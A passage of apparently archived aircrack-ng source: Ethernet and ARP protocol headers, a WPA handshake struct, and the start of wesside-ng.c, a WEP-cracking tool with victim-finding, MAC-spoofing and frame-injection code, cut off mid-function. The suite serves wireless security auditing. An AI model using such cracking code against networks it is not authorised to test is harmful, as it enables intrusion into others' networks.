diagnostic protocol (at interface initialization?) */ #define ETHERTYPE_DECCUST 0x6006 /* DEC customer protocol */ #define ETHERTYPE_SCA 0x6007 /* DEC LAVC, SCA */ #define ETHERTYPE_AMBER 0x6008 /* DEC AMBER */ #define ETHERTYPE_DECMUMPS 0x6009 /* DEC MUMPS */ /* 0x6010 - 0x6014 3Com Corporation */ #define ETHERTYPE_TRANSETHER 0x6558 /* Trans Ether Bridging (RFC1701)*/ #define ETHERTYPE_RAWFR 0x6559 /* Raw Frame Relay (RFC1701) */ #define ETHERTYPE_UBDL 0x7000 /* Ungermann-Bass download */ #define ETHERTYPE_UBNIU 0x7001 /* Ungermann-Bass NIUs */ #define ETHERTYPE_UBDIAGLOOP 0x7002 /* Ungermann-Bass diagnostic/loopback */ #define ETHERTYPE_UBNMC 0x7003 /* Ungermann-Bass ??? (NMC to/from UB Bridge) */ #define ETHERTYPE_UBBST 0x7005 /* Ungermann-Bass Bridge Spanning Tree */ #define ETHERTYPE_OS9 0x7007 /* OS/9 Microware */ #define ETHERTYPE_OS9NET 0x7009 /* OS/9 Net? */ /* 0x7020 - 0x7029 LRT (England) (now Sintrom) */ #define ETHERTYPE_RACAL 0x7030 /* Racal-Interlan */ #define ETHERTYPE_PRIMENTS 0x7031 /* Prime NTS (Network Terminal Service) */ #define ETHERTYPE_CABLETRON 0x7034 /* Cabletron */ #define ETHERTYPE_CRONUSVLN 0x8003 /* Cronus VLN */ #define ETHERTYPE_CRONUS 0x8004 /* Cronus Direct */ #define ETHERTYPE_HP 0x8005 /* HP Probe */ #define ETHERTYPE_NESTAR 0x8006 /* Nestar */ #define ETHERTYPE_ATTSTANFORD 0x8008 /* AT&T/Stanford (local use) */ #define ETHERTYPE_EXCELAN 0x8010 /* Excelan */ #define ETHERTYPE_SG_DIAG 0x8013 /* SGI diagnostic type */ #define ETHERTYPE_SG_NETGAMES 0x8014 /* SGI network games */ #define ETHERTYPE_SG_RESV 0x8015 /* SGI reserved type */ #define ETHERTYPE_SG_BOUNCE 0x8016 /* SGI bounce server */ #define ETHERTYPE_APOLLODOMAIN 0x8019 /* Apollo DOMAIN */ #define ETHERTYPE_TYMSHARE 0x802E /* Tymeshare */ #define ETHERTYPE_TIGAN 0x802F /* Tigan, Inc. */ #define ETHERTYPE_REVARP 0x8035 /* Reverse addr resolution protocol */ #define ETHERTYPE_AEONIC 0x8036 /* Aeonic Systems */ #define ETHERTYPE_IPXNEW 0x8037 /* IPX (Novell Netware?) */ #define ETHERTYPE_LANBRIDGE 0x8038 /* DEC LANBridge */ #define ETHERTYPE_DSMD 0x8039 /* DEC DSM/DDP */ #define ETHERTYPE_ARGONAUT 0x803A /* DEC Argonaut Console */ #define ETHERTYPE_VAXELN 0x803B /* DEC VAXELN */ #define ETHERTYPE_DECDNS 0x803C /* DEC DNS Naming Service */ #define ETHERTYPE_ENCRYPT 0x803D /* DEC Ethernet Encryption */ #define ETHERTYPE_DECDTS 0x803E /* DEC Distributed Time Service */ #define ETHERTYPE_DECLTM 0x803F /* DEC LAN Traffic Monitor */ #define ETHERTYPE_DECNETBIOS 0x8040 /* DEC PATHWORKS DECnet NETBIOS Emulation */ #define ETHERTYPE_DECLAST 0x8041 /* DEC Local Area System Transport */ /* 0x8042 DEC Unassigned */ #define ETHERTYPE_PLANNING 0x8044 /* Planning Research Corp. */ /* 0x8046 - 0x8047 AT&T */ #define ETHERTYPE_DECAM 0x8048 /* DEC Availability Manager for Distributed Systems DECamds (but someone at DEC says not) */ #define ETHERTYPE_EXPERDATA 0x8049 /* ExperData */ #define ETHERTYPE_VEXP 0x805B /* Stanford V Kernel exp. */ #define ETHERTYPE_VPROD 0x805C /* Stanford V Kernel prod. */ #define ETHERTYPE_ES 0x805D /* Evans & Sutherland */ #define ETHERTYPE_LITTLE 0x8060 /* Little Machines */ #define ETHERTYPE_COUNTERPOINT 0x8062 /* Counterpoint Computers */ /* 0x8065 - 0x8066 Univ. of Mass @ Amherst */ #define ETHERTYPE_VEECO 0x8067 /* Veeco Integrated Auto. */ #define ETHERTYPE_GENDYN 0x8068 /* General Dynamics */ #define ETHERTYPE_ATT 0x8069 /* AT&T */ #define ETHERTYPE_AUTOPHON 0x806A /* Autophon */ #define ETHERTYPE_COMDESIGN 0x806C /* ComDesign */ #define ETHERTYPE_COMPUGRAPHIC 0x806D /* Compugraphic Corporation */ /* 0x806E - 0x8077 Landmark Graphics Corp. */ #define ETHERTYPE_MATRA 0x807A /* Matra */ #define ETHERTYPE_DDE 0x807B /* Dansk Data Elektronik */ #define ETHERTYPE_MERIT 0x807C /* Merit Internodal (or Univ of Michigan?) */ /* 0x807D - 0x807F Vitalink Communications */ #define ETHERTYPE_VLTLMAN 0x8080 /* Vitalink TransLAN III Management */ /* 0x8081 - 0x8083 Counterpoint Computers */ /* 0x8088 - 0x808A Xyplex */ #define ETHERTYPE_ATALK 0x809B /* AppleTalk */ #define ETHERTYPE_AT ETHERTYPE_ATALK /* old NetBSD */ #define ETHERTYPE_APPLETALK ETHERTYPE_ATALK /* HP-UX */ /* 0x809C - 0x809E Datability */ #define ETHERTYPE_SPIDER 0x809F /* Spider Systems Ltd. */ /* 0x80A3 Nixdorf */ /* 0x80A4 - 0x80B3 Siemens Gammasonics Inc. */ /* 0x80C0 - 0x80C3 DCA (Digital Comm. Assoc.) Data Exchange Cluster */ /* 0x80C4 - 0x80C5 Banyan Systems */ #define ETHERTYPE_PACER 0x80C6 /* Pacer Software */ #define ETHERTYPE_APPLITEK 0x80C7 /* Applitek Corporation */ /* 0x80C8 - 0x80CC Intergraph Corporation */ /* 0x80CD - 0x80CE Harris Corporation */ /* 0x80CF - 0x80D2 Taylor Instrument */ /* 0x80D3 - 0x80D4 Rosemount Corporation */ #define ETHERTYPE_SNA 0x80D5 /* IBM SNA Services over Ethernet */ #define ETHERTYPE_VARIAN 0x80DD /* Varian Associates */ /* 0x80DE - 0x80DF TRFS (Integrated Solutions Transparent Remote File System) */ /* 0x80E0 - 0x80E3 Allen-Bradley */ /* 0x80E4 - 0x80F0 Datability */ #define ETHERTYPE_RETIX 0x80F2 /* Retix */ #define ETHERTYPE_AARP 0x80F3 /* AppleTalk AARP */ /* 0x80F4 - 0x80F5 Kinetics */ #define ETHERTYPE_APOLLO 0x80F7 /* Apollo Computer */ #define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging (XXX conflicts) */ /* 0x80FF - 0x8101 Wellfleet Communications (XXX conflicts) */ #define ETHERTYPE_BOFL 0x8102 /* Wellfleet; BOFL (Breath OF Life) pkts [every 5-10 secs.] */ #define ETHERTYPE_WELLFLEET 0x8103 /* Wellfleet Communications */ /* 0x8107 - 0x8109 Symbolics Private */ #define ETHERTYPE_TALARIS 0x812B /* Talaris */ #define ETHERTYPE_WATERLOO 0x8130 /* Waterloo Microsystems Inc. (XXX which?) */ #define ETHERTYPE_HAYES 0x8130 /* Hayes Microcomputers (XXX which?) */ #define ETHERTYPE_VGLAB 0x8131 /* VG Laboratory Systems */ /* 0x8132 - 0x8137 Bridge Communications */ #define ETHERTYPE_IPX 0x8137 /* Novell (old) NetWare IPX (ECONFIG E option) */ #define ETHERTYPE_NOVELL 0x8138 /* Novell, Inc. */ /* 0x8139 - 0x813D KTI */ #define ETHERTYPE_MUMPS 0x813F /* M/MUMPS data sharing */ #define ETHERTYPE_AMOEBA 0x8145 /* Vrije Universiteit (NL) Amoeba 4 RPC (obsolete) */ #define ETHERTYPE_FLIP 0x8146 /* Vrije Universiteit (NL) FLIP (Fast Local Internet Protocol) */ #define ETHERTYPE_VURESERVED 0x8147 /* Vrije Universiteit (NL) [reserved] */ #define ETHERTYPE_LOGICRAFT 0x8148 /* Logicraft */ #define ETHERTYPE_NCD 0x8149 /* Network Computing Devices */ #define ETHERTYPE_ALPHA 0x814A /* Alpha Micro */ #define ETHERTYPE_SNMP 0x814C /* SNMP over Ethernet (see RFC1089) */ /* 0x814D - 0x814E BIIN */ #define ETHERTYPE_TEC 0x814F /* Technically Elite Concepts */ #define ETHERTYPE_RATIONAL 0x8150 /* Rational Corp */ /* 0x8151 - 0x8153 Qualcomm */ /* 0x815C - 0x815E Computer Protocol Pty Ltd */ /* 0x8164 - 0x8166 Charles River Data Systems */ #define ETHERTYPE_XTP 0x817D /* Protocol Engines XTP */ #define ETHERTYPE_SGITW 0x817E /* SGI/Time Warner prop. */ #define ETHERTYPE_HIPPI_FP 0x8180 /* HIPPI-FP encapsulation */ #define ETHERTYPE_STP 0x8181 /* Scheduled Transfer STP, HIPPI-ST */ /* 0x8182 - 0x8183 Reserved for HIPPI-6400 */ /* 0x8184 - 0x818C SGI prop. */ #define ETHERTYPE_MOTOROLA 0x818D /* Motorola */ #define ETHERTYPE_NETBEUI 0x8191 /* PowerLAN NetBIOS/NetBEUI (PC) */ /* 0x819A - 0x81A3 RAD Network Devices */ /* 0x81B7 - 0x81B9 Xyplex */ /* 0x81CC - 0x81D5 Apricot Computers */ /* 0x81D6 - 0x81DD Artisoft Lantastic */ /* 0x81E6 - 0x81EF Polygon */ /* 0x81F0 - 0x81F2 Comsat Labs */ /* 0x81F3 - 0x81F5 SAIC */ /* 0x81F6 - 0x81F8 VG Analytical */ /* 0x8203 - 0x8205 QNX Software Systems Ltd. */ /* 0x8221 - 0x8222 Ascom Banking Systems */ /* 0x823E - 0x8240 Advanced Encryption Systems */ /* 0x8263 - 0x826A Charles River Data Systems */ /* 0x827F - 0x8282 Athena Programming */ /* 0x829A - 0x829B Inst Ind Info Tech */ /* 0x829C - 0x82AB Taurus Controls */ /* 0x82AC - 0x8693 Walker Richer & Quinn */ #define ETHERTYPE_ACCTON 0x8390 /* Accton Technologies (unregistered) */ #define ETHERTYPE_TALARISMC 0x852B /* Talaris multicast */ #define ETHERTYPE_KALPANA 0x8582 /* Kalpana */ /* 0x8694 - 0x869D Idea Courier */ /* 0x869E - 0x86A1 Computer Network Tech */ /* 0x86A3 - 0x86AC Gateway Communications */ #define ETHERTYPE_SECTRA 0x86DB /* SECTRA */ #define ETHERTYPE_IPV6 0x86DD /* IP protocol version 6 */ #define ETHERTYPE_DELTACON 0x86DE /* Delta Controls */ #define ETHERTYPE_ATOMIC 0x86DF /* ATOMIC */ /* 0x86E0 - 0x86EF Landis & Gyr Powers */ /* 0x8700 - 0x8710 Motorola */ #define ETHERTYPE_RDP 0x8739 /* Control Technology Inc. RDP Without IP */ #define ETHERTYPE_MICP 0x873A /* Control Technology Inc. Mcast Industrial Ctrl Proto. */ /* 0x873B - 0x873C Control Technology Inc. Proprietary */ #define ETHERTYPE_TCPCOMP 0x876B /* TCP/IP Compression (RFC1701) */ #define ETHERTYPE_IPAS 0x876C /* IP Autonomous Systems (RFC1701) */ #define ETHERTYPE_SECUREDATA 0x876D /* Secure Data (RFC1701) */ #define ETHERTYPE_FLOWCONTROL 0x8808 /* 802.3x flow control packet */ #define ETHERTYPE_SLOW 0x8809 /* 802.3ad link aggregation (LACP) */ #define ETHERTYPE_PPP 0x880B /* PPP (obsolete by PPPoE) */ #define ETHERTYPE_HITACHI 0x8820 /* Hitachi Cable (Optoelectronic Systems Laboratory) */ #define ETHERTYPE_MPLS 0x8847 /* MPLS Unicast */ #define ETHERTYPE_MPLS_MCAST 0x8848 /* MPLS Multicast */ #define ETHERTYPE_AXIS 0x8856 /* Axis Communications AB proprietary bootstrap/config */ #define ETHERTYPE_PPPOEDISC 0x8863 /* PPP Over Ethernet Discovery Stage */ #define ETHERTYPE_PPPOE 0x8864 /* PPP Over Ethernet Session Stage */ #define ETHERTYPE_LANPROBE 0x8888 /* HP LanProbe test? */ #define ETHERTYPE_PAE 0x888e /* EAPOL PAE/802.1x */ #define ETHERTYPE_LOOPBACK 0x9000 /* Loopback: used to test interfaces */ #define ETHERTYPE_LBACK ETHERTYPE_LOOPBACK /* DEC MOP loopback */ #define ETHERTYPE_XNSSM 0x9001 /* 3Com (Formerly Bridge Communications), XNS Systems Management */ #define ETHERTYPE_TCPSM 0x9002 /* 3Com (Formerly Bridge Communications), TCP/IP Systems Management */ #define ETHERTYPE_BCLOOP 0x9003 /* 3Com (Formerly Bridge Communications), loopback detection */ #define ETHERTYPE_DEBNI 0xAAAA /* DECNET? Used by VAX 6220 DEBNI */ #define ETHERTYPE_SONIX 0xFAF5 /* Sonix Arpeggio */ #define ETHERTYPE_VITAL 0xFF00 /* BBN VITAL-LanBridge cache wakeups */ /* 0xFF00 - 0xFFOF ISC Bunker Ramo */ #define ETHERTYPE_MAX 0xFFFF /* Maximum valid ethernet type, reserved */ /* * The ETHERTYPE_NTRAILER packet types starting at ETHERTYPE_TRAIL have * (type-ETHERTYPE_TRAIL)*512 bytes of data followed * by an ETHER type (as given above) and then the (variable-length) header. */ #define ETHERTYPE_TRAIL 0x1000 /* Trailer packet */ #define ETHERTYPE_NTRAILER 16 #define ETHERMTU (ETHER_MAX_LEN-ETHER_HDR_LEN-ETHER_CRC_LEN) #define ETHERMIN (ETHER_MIN_LEN-ETHER_HDR_LEN-ETHER_CRC_LEN) #define ETHERMTU_JUMBO (ETHER_MAX_LEN_JUMBO - ETHER_HDR_LEN - ETHER_CRC_LEN) /* * The ETHER_BPF_MTAP macro should be used by drivers which support hardware * offload for VLAN tag processing. It will check the mbuf to see if it has * M_VLANTAG set, and if it does, will pass the packet along to * ether_vlan_mtap. This function will re-insert VLAN tags for the duration * of the tap, so they show up properly for network analyzers. */ #define ETHER_BPF_MTAP(_ifp, _m) do { \ if (bpf_peers_present((_ifp)->if_bpf)) { \ M_ASSERTVALID(_m); \ if (((_m)->m_flags & M_VLANTAG) != 0) \ ether_vlan_mtap((_ifp)->if_bpf, (_m), NULL, 0); \ else \ bpf_mtap((_ifp)->if_bpf, (_m)); \ } \ } while (0) #ifdef _KERNEL struct ifnet; struct mbuf; struct route; struct sockaddr; struct bpf_if; extern uint32_t ether_crc32_le(const uint8_t *, size_t); extern uint32_t ether_crc32_be(const uint8_t *, size_t); extern void ether_demux(struct ifnet *, struct mbuf *); extern void ether_ifattach(struct ifnet *, const u_int8_t *); extern void ether_ifdetach(struct ifnet *); extern int ether_ioctl(struct ifnet *, u_long, caddr_t); extern int ether_output(struct ifnet *, struct mbuf *, const struct sockaddr *, struct route *); extern int ether_output_frame(struct ifnet *, struct mbuf *); extern char *ether_sprintf(const u_int8_t *); void ether_vlan_mtap(struct bpf_if *, struct mbuf *, void *, u_int); struct mbuf *ether_vlanencap(struct mbuf *, uint16_t); #else /* _KERNEL */ /* * Ethernet address conversion/parsing routines. */ #ifdef __cplusplus extern "C" { #endif struct ether_addr *ether_aton(const char *); struct ether_addr *ether_aton_r(const char *, struct ether_addr *); int ether_hostton(const char *, struct ether_addr *); int ether_line(const char *, struct ether_addr *, char *); char *ether_ntoa(const struct ether_addr *); char *ether_ntoa_r(const struct ether_addr *, char *); int ether_ntohost(char *, const struct ether_addr *); #ifdef __cplusplus } #endif #endif /* !_KERNEL */ #endif /* !_NET_ETHERNET_H_ */ aircrack-ng-1.2-rc4/src/include/eapol.h0000644000000000000000000000107012313366617016412 0ustar rootroot#ifndef _NET_EAPOL_H_ #define _NET_EAPOL_H_ #include struct WPA_hdsk { uint8_t stmac[6]; /* supplicant MAC */ uint8_t snonce[32]; /* supplicant nonce */ uint8_t anonce[32]; /* authenticator nonce */ uint8_t keymic[16]; /* eapol frame MIC */ uint8_t eapol[256]; /* eapol frame contents */ uint32_t eapol_size; /* eapol frame size */ uint8_t keyver; /* key version (TKIP / AES) */ uint8_t state; /* handshake completion */ }; #endif // _NET_EAPOL_H_ aircrack-ng-1.2-rc4/src/include/if_arp.h0000644000000000000000000001333312426041430016543 0ustar rootroot/*- * Copyright (c) 1986, 1993 * The Regents of the University of California. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 4. Neither the name of the University nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * @(#)if_arp.h 8.1 (Berkeley) 6/10/93 * $FreeBSD$ */ #ifndef _NET_IF_ARP_H_ #define _NET_IF_ARP_H_ /* * Address Resolution Protocol. * * See RFC 826 for protocol description. ARP packets are variable * in size; the arphdr structure defines the fixed-length portion. * Protocol type values are the same as those for 10 Mb/s Ethernet. * It is followed by the variable-sized fields ar_sha, arp_spa, * arp_tha and arp_tpa in that order, according to the lengths * specified. Field names used correspond to RFC 826. */ struct arphdr { u_short ar_hrd; /* format of hardware address */ #define ARPHRD_ETHER 1 /* ethernet hardware format */ #define ARPHRD_IEEE802 6 /* token-ring hardware format */ #define ARPHRD_ARCNET 7 /* arcnet hardware format */ #define ARPHRD_FRELAY 15 /* frame relay hardware format */ #define ARPHRD_IEEE1394 24 /* firewire hardware format */ #define ARPHRD_INFINIBAND 32 /* infiniband hardware format */ u_short ar_pro; /* format of protocol address */ u_char ar_hln; /* length of hardware address */ u_char ar_pln; /* length of protocol address */ u_short ar_op; /* one of: */ #define ARPOP_REQUEST 1 /* request to resolve address */ #define ARPOP_REPLY 2 /* response to previous request */ #define ARPOP_REVREQUEST 3 /* request protocol address given hardware */ #define ARPOP_REVREPLY 4 /* response giving protocol address */ #define ARPOP_INVREQUEST 8 /* request to identify peer */ #define ARPOP_INVREPLY 9 /* response identifying peer */ /* * The remaining fields are variable in size, * according to the sizes above. */ #ifdef COMMENT_ONLY u_char ar_sha[]; /* sender hardware address */ u_char ar_spa[]; /* sender protocol address */ u_char ar_tha[]; /* target hardware address */ u_char ar_tpa[]; /* target protocol address */ #endif }; #define ar_sha(ap) (((caddr_t)((ap)+1)) + 0) #define ar_spa(ap) (((caddr_t)((ap)+1)) + (ap)->ar_hln) #define ar_tha(ap) (((caddr_t)((ap)+1)) + (ap)->ar_hln + (ap)->ar_pln) #define ar_tpa(ap) (((caddr_t)((ap)+1)) + 2*(ap)->ar_hln + (ap)->ar_pln) #define arphdr_len2(ar_hln, ar_pln) \ (sizeof(struct arphdr) + 2*(ar_hln) + 2*(ar_pln)) #define arphdr_len(ap) (arphdr_len2((ap)->ar_hln, (ap)->ar_pln)) /* * ARP ioctl request */ struct arpreq { struct sockaddr arp_pa; /* protocol address */ struct sockaddr arp_ha; /* hardware address */ int arp_flags; /* flags */ }; /* arp_flags and at_flags field values */ #define ATF_INUSE 0x01 /* entry in use */ #define ATF_COM 0x02 /* completed entry (enaddr valid) */ #define ATF_PERM 0x04 /* permanent entry */ #define ATF_PUBL 0x08 /* publish entry (respond for other host) */ #define ATF_USETRAILERS 0x10 /* has requested trailers */ #ifdef _KERNEL /* * Structure shared between the ethernet driver modules and * the address resolution code. */ struct arpcom { struct ifnet *ac_ifp; /* network-visible interface */ void *ac_netgraph; /* ng_ether(4) netgraph node info */ }; #define IFP2AC(ifp) ((struct arpcom *)(ifp->if_l2com)) #define AC2IFP(ac) ((ac)->ac_ifp) #endif /* _KERNEL */ struct arpstat { /* Normal things that happen: */ uint64_t txrequests; /* # of ARP requests sent by this host. */ uint64_t txreplies; /* # of ARP replies sent by this host. */ uint64_t rxrequests; /* # of ARP requests received by this host. */ uint64_t rxreplies; /* # of ARP replies received by this host. */ uint64_t received; /* # of ARP packets received by this host. */ uint64_t arp_spares[4]; /* For either the upper or lower half. */ /* Abnormal event and error counting: */ uint64_t dropped; /* # of packets dropped waiting for a reply. */ uint64_t timeouts; /* # of times with entries removed */ /* due to timeout. */ uint64_t dupips; /* # of duplicate IPs detected. */ }; #ifdef _KERNEL #include #include VNET_PCPUSTAT_DECLARE(struct arpstat, arpstat); /* * In-kernel consumers can use these accessor macros directly to update * stats. */ #define ARPSTAT_ADD(name, val) \ VNET_PCPUSTAT_ADD(struct arpstat, arpstat, name, (val)) #define ARPSTAT_SUB(name, val) ARPSTAT_ADD(name, -(val)) #define ARPSTAT_INC(name) ARPSTAT_ADD(name, 1) #define ARPSTAT_DEC(name) ARPSTAT_SUB(name, 1) #endif /* _KERNEL */ #endif /* !_NET_IF_ARP_H_ */ aircrack-ng-1.2-rc4/src/wesside-ng.c0000644000000000000000000013176112615263234015736 0ustar rootroot/* * Copyright (C) 2005-2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep/osdep.h" #include "pcap.h" #include "aircrack-ptw-lib.h" #include "ieee80211.h" #include "ethernet.h" #include "if_arp.h" #include "if_llc.h" #include "crypto.h" #include "version.h" #include "osdep/byteorder.h" #define FIND_VICTIM 0 #define FOUND_VICTIM 1 #define SENDING_AUTH 2 #define GOT_AUTH 3 #define SPOOF_MAC 4 #define SENDING_ASSOC 5 #define GOT_ASSOC 6 #define LINKTYPE_IEEE802_11 105 #define TCPDUMP_MAGIC 0xA1B2C3D4 #define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" #define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") #define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define PADDED_ARPLEN 54 #define MCAST_PREF "\x01\x00\x5e\x00\x00" #define WEP_FILE "wep.cap" #define KEY_FILE "key.log" #define PRGA_FILE "prga.log" #define KEYLIMIT 1000000 extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); struct frag_state { struct ieee80211_frame fs_wh; unsigned char *fs_data; int fs_len; unsigned char *fs_ptr; int fs_waiting_relay; struct timeval fs_last; }; struct prga_info { unsigned char *pi_prga; int pi_len; unsigned char pi_iv[3]; }; struct wstate { int ws_state; struct timeval ws_arpsend; char *ws_netip; int ws_netip_arg; int ws_max_chan; unsigned char *ws_rtrmac; unsigned char ws_mymac[6]; int ws_have_mac; char ws_myip[16]; unsigned char *ws_victim_mac; PTW_attackstate *ws_ptw; unsigned int ws_ack_timeout; int ws_min_prga; int ws_thresh_incr; int ws_crack_dur; int ws_wep_thresh; int ws_crack_pid; struct timeval ws_crack_start; struct timeval ws_real_start; struct timeval ws_lasthop; struct timeval ws_last_wcount; struct wif *ws_wi; unsigned int ws_last_wep_count; int ws_ignore_ack; /* tx_state */ int ws_waiting_ack; struct timeval ws_tsent; int ws_retries; unsigned int ws_psent; /* chan_info */ int ws_chan; /* victim_info */ char *ws_ssid; int ws_apchan; unsigned char ws_bss[6]; struct frag_state ws_fs; struct prga_info ws_pi; /* decrypt_state */ unsigned char *ws_cipher; int ws_clen; struct prga_info ws_dpi; struct frag_state ws_dfs; /* wep_log */ unsigned int ws_packets; unsigned int ws_rate; int ws_fd; unsigned char ws_iv[3]; } _wstate; #define KEYHSBYTES PTW_KEYHSBYTES int PTW_DEFAULTWEIGHT[1] = { 256 }; int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }; struct timeval t_begin; /* time at start of attack */ struct timeval t_stats; /* time since last update */ float chrono( struct timeval *start, int reset ) { float delta; struct timeval current; gettimeofday( ¤t, NULL ); delta = ( current.tv_sec - start->tv_sec ) + (float) ( current.tv_usec - start->tv_usec ) / 1000000; if( reset ) gettimeofday( start, NULL ); return( delta ); } /* display the current votes */ void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod, int keylimit ) { float delta; struct winsize ws; int i, et_h, et_m, et_s; static int is_cleared = 0; return; /* if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) { ws.ws_row = 25; ws.ws_col = 80; } if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 ) return; chrono( &t_stats, 1 ); delta = chrono( &t_begin, 0 ); et_h = delta / 3600; et_m = ( delta - et_h * 3600 ) / 60; et_s = delta - et_h * 3600 - et_m * 60; if( is_cleared == 0 ) { is_cleared++; printf( "\33[2J" ); } if(table) printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K", (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit ); printf( "\33[7;4HKB depth byte(vote)\n" ); for( i = 0; i <= B; i++ ) { int j, k = ( ws.ws_col - 20 ) / 9; if(table) printf( " %2d %3d/%3d ", i, depth[i], choices[i] ); if(table) { for( j = depth[i]; j < k + depth[i]; j++ ) { if( j >= 256 ) break; printf( "%02X(%4d) ", table[i][j].b, table[i][j].votes ); } } printf( "\n" ); } // if( B < opt.keylen - 1 ) // printf( "\33[J" ); printf( "\n" ); */ } static struct wstate *get_ws(void) { return &_wstate; } static void cleanup(int x); static void sigchild(int x); static void time_print(char* fmt, ...) { va_list ap; char lame[1024]; time_t tt; struct tm *t; va_start(ap, fmt); vsnprintf(lame, sizeof(lame), fmt, ap); va_end(ap); tt = time(NULL); if (tt == (time_t)-1) { perror("time()"); exit(1); } t = localtime(&tt); if (!t) { perror("localtime()"); exit(1); } printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame); } static void check_key(struct wstate *ws) { char buf[1024]; int fd; int rd; struct timeval now; fd = open(KEY_FILE, O_RDONLY); if (fd == -1) { return; } rd = read(fd, buf, sizeof(buf) -1); if (rd == -1) { perror("read()"); exit(1); } buf[rd] = 0; close(fd); printf ("\n\n"); time_print("KEY=(%s)\n", buf); if (gettimeofday(&now, NULL) == -1) { perror("gettimeofday()"); exit(1); } printf ("Owned in %.02f minutes\n", ((double) now.tv_sec - ws->ws_real_start.tv_sec)/60.0); cleanup(0); exit(0); } static void kill_crack(struct wstate *ws) { if (ws->ws_crack_pid == 0) return; printf("\n"); time_print("Stopping crack PID=%d\n", ws->ws_crack_pid); // XXX doesn't return -1 for some reason! [maybe on my box... so it // might be buggy on other boxes...] if (kill(ws->ws_crack_pid, SIGINT) == -1) { #if 0 perror("kill()"); exit(1); #endif } ws->ws_crack_pid = 0; check_key(ws); } static void cleanup(int x) { struct wstate *ws = get_ws(); printf("\n"); time_print("Dying...\n"); if (x) {} /* XXX unused */ if (ws->ws_fd) close(ws->ws_fd); kill_crack(ws); if (ws->ws_wi) wi_close(ws->ws_wi); if(ws->ws_ssid) free(ws->ws_ssid); exit(0); } static void set_chan(struct wstate *ws, int c) { if (c == ws->ws_chan) return; if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()"); ws->ws_chan = c; } static void hexdump(unsigned char *ptr, int len) { while(len > 0) { printf("%.2X ", *ptr); ptr++; len--; } printf("\n"); } static char* mac2str(unsigned char* mac) { static char ret[6*3]; snprintf(ret, (6*3), "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); return ret; } static void inject(struct wif *wi, void *buf, int len) { int rc; rc = wi_write(wi, buf, len, NULL); if(rc == -1) { perror("writev()"); exit(1); } if (rc != len) { time_print("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len); exit(1); } } static void send_frame(struct wstate *ws, unsigned char* buf, int len) { static unsigned char* lame = 0; static int lamelen = 0; static int lastlen = 0; // retransmit! if (len == -1) { ws->ws_retries++; if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack) { ws->ws_waiting_ack = 0; return; } if (ws->ws_retries > 10) { time_print("ERROR Max retransmists for (%d bytes):\n", lastlen); hexdump(&lame[0], lastlen); #if 0 txstate.waiting_ack = 0; return; #endif } len = lastlen; // printf("Warning doing a retransmit...\n"); } // normal tx else { assert(!ws->ws_waiting_ack); if (len > lamelen) { if (lame) free(lame); lame = (unsigned char*) malloc(len); if(!lame) { perror("malloc()"); exit(1); } lamelen = len; } memcpy(lame, buf, len); ws->ws_retries = 0; lastlen = len; } inject(ws->ws_wi, lame, len); if 